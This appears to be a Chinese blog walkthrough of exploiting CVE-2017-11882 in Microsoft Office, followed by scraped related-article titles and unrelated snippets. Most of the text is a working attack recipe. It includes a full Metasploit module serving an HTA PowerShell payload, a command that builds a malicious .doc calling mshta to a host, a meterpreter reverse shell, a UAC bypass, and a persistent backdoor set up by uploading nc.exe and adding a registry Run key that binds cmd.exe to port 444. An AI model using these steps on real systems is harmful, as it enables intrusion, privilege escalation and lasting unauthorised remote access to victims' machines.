利用CVE-2017-11882拿到持久性shell

近日微软又爆出一个严重漏洞,利用该漏洞可以直接拿到目标机shell。这么好玩的东西怎么能错过了,于是搭建环境复现了一把。

首先去GitHub上下载exp https://github.com/starnightcyber/CVE-2017-11882.git

这里直接贴上exp脚本

把下面这段代码复制到usr/share/metasploit-framework/modules/exploits/windows/office/  名字随意格式为.rb

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule  < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info  = {})

super(update_info(info,

'Name' => 'Microsoft Office Payload Delivery',

'Description' => %q{

This module generates an command to place within

a word document, that when executed, will retrieve a HTA payload

via HTTP from an web server. Currently have not figured out how

to generate a doc.

},

'License' => MSF_LICENSE,

'Arch' => ARCH_X86,

'Platform' => 'win',

'Targets' =>

[

['Automatic', {} ],

],

'DefaultTarget' => 0,

))

end

def on_request_uri(cli, _request)

print_status("Delivering payload")

p = regenerate_payload(cli)

data = Msf::Util::EXE.to_executable_fmt(

framework,

ARCH_X86,

'win',

p.encoded,

'hta-psh',

{ :arch => ARCH_X86, :platform => 'win '}

)

send_response(cli, data, 'Content-Type' => 'application/hta')

end

def primer

url = get_uri

print_status("Place the following DDE in an MS document:")

print_line("mshta.exe \"#{url}\"")

end

end

打开msf,输入下列命令

use exploit/windows/office/CVE-2017-11882

set payload windows/meterpreter/reverse_tcp

show options 看一下需要设置哪些参数

这里我们设置一下LHOST和URIPATH就可以了,其他的用默认的即可。

LHOST就是kali 的ip URIPATH 是受害机连接的路径默认是遗传随机数,因为攻击脚本有字数限制所以我们改成123尽量减小长度。

设置好这些后就可以执行了。

输入 exploit -j

然后

在kali任意目录下gitclone https://github.com/starnightcyber/CVE-2017-11882.git

下好python脚本,在此目录下打开一个命令终端

输入下列命令,生成恶意文档

python Command_CVE-2017-11882.py -c "mshta http://ip/123" -o test.doc

Kali 开启Apache 靶机连接kali并下载恶意文档

靶机运行恶意文档

拿到meterpreter shell

getsystem 发现不是系统权限,因为Windows的UAC 保护机制

接下来我们利用kali自带的模块绕过UAC

use exploit/windows/local/bypassuac

set payload windows/meterpreter/reverse_tcp

一样的show options

set sessions

set lhost

set lport

exploit –j

获得一个新的sessions

利用刚获得的session 2 可以看到已经是系统管理员权限了

现在想干什么就干什么

我们就传一个nc修改一下注册表设置开机自启来获得一个永久后门吧。

在meterpreter下输入以下命令

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'

重启靶机在kali里输入

nc ip 444

成功拿到cmd shell

本次实验到此结束

利用CVE-2017-11882拿到持久性shell的更多相关文章

  1. 利用多线程资源竞争技术上传shell

    通过多线程资源竞争的手段同时上传两个头像,就可以在Apache+Rails环境下实现远程代码执行.这并不是天方夜谭,同时我相信许多文件上传系统都会有这个漏洞……这是一个非常有趣的安全实验,一起来看看吧 ...

  2. 简单利用HTTP中的PUT协议拿下SHELL

    第一次用方法拿shell,之前遇到的都是没有写入权限的. 站太辣鸡,纯粹练手,就不打码了. 此次实战会用到的HTTP请求方法: OPTIONS,PUT,MOVE/COPPY * 战前准备 0x01 什 ...

  3. 利用野草weedcmsuseragent盲注漏洞拿shell

    野草网站管理系统(WEEDCMS)是由野草独立基于PHP+MYSQL开发的内容管理系统.面向企业.个人.小门户等中小规模网站使用而开发的.采用国际上比较流行Smarty引擎和敏捷的JQuery JS框 ...

  4. 利用WiFi Pineapple Nano渗透客户端获取SHELL

    前言: 前两篇文章介绍了The WiFi Pineapple Nano设备的一些主要功能模块,例如PineAP.SSLsplit和Ettercap等.今天给大家实际场景演示下如何利用Pineapple ...

  5. (转载)利用burp suite截断上传拿shell

    burpsuite上传必须要有filepath这个参数 第一步:选择一个jpg后缀的马. 第二步:设置本地代理,burp的本地端口是8080 第三步:打开burp suite 按图操作就ok了. 第四 ...

  6. 利用java执行shell脚本

    BPMN中存在由系统执行的脚本任务,shell脚本任务也是该系统任务脚本中的一种,利用的也是由java执行shell脚本. 代码中的ProcessBuilder类,为java.lang.Process ...

  7. Struts2漏洞利用工具下载(更新2017-V1.8版增加S2-045/S2-046)

    Struts2漏洞利用工具下载(已更新V1.8版) 2017-03-21:增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部 ...

  8. SHELL (2) —— Shell变量的核心基础知识和实践

    摘自:Oldboy Linux运维——SHELL编程实战 Shell变量:用一个固定的字符串(也可能是字符.数字等的组合)代替更多.更复杂的内容,该内容里可能还会包含变量.路径.字符串等其它的内容. ...

  9. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

随机推荐

  1. 转载 USB固件分析

    http://1438431234.spaces.eepw.com.cn/articles/article/item/114022 0x00000000 0x0001fff0 大小 0x1fff1 = ...

  2. Activity工作过程

    Activity工作过程: Activity.startActivity--> Activity.startActivityForResult--> Instrumentation.exe ...

  3. CodeForces-747A

    从sqrt(n)枚举到1,一旦满足一定是差最小的数. AC代码: #include<cstdio> #include<cmath> int main(){ int n; whi ...

  4. AES-256加密解密

    /// <summary> /// AES-256加密 /// </summary> /// <param name="toEncrypt">& ...

  5. The required anti-forgery form field "__RequestVerificationToken" is not present.

    @using (Html.BeginForm()) { @Html.AntiForgeryToken() }

  6. 文件无法复制的原因-IT33

    Win7系统复制数据至其他硬盘或者是移动存储设备是,有时会发生无法复制文件过大的情况.这里先大致介绍一下硬盘文件系统分为NFTS格式和FAT32格式这两种,其中FAT32仅支持单次移动4G以下容量的数 ...

  7. ios学习- 10大iOS开发者最喜爱的类库

    该10大iOS开发者最喜爱的库由“iOS辅导团队”成员Marcelo Fabri组织投票选举而得,参与者包括开发者团队,iOS辅导团队以及行业嘉宾.每个团队都要根据以下规则选出五个最好的库: 1)不能 ...

  8. 深度拾遗(06) - 1X1卷积/global average pooling

    什么是1X1卷积 11的卷积就是对上一层的多个feature channels线性叠加,channel加权平均. 只不过这个组合系数恰好可以看成是一个11的卷积.这种表示的好处是,完全可以回到模型中其 ...

  9. caffe︱cifar-10数据集quick模型的官方案例

    准备拿几个caffe官方案例用来练习,就看到了caffe中的官方案例有cifar-10数据集.于是练习了一下,在CPU情况下构建quick模型.主要参考博客:liumaolincycle的博客 配置: ...

  10. mysql常用基础操作语法(六)--对数据排序和限制结果数量的条件查询【命令行模式】

    1.使用order by对查询的结果进行排序,asc升序,desc降序: 也可以在order by后指定多个字段名和排序方式进行多级排序: 2.使用limit限制查询结果的数量: 上图中的0,代表查询 ...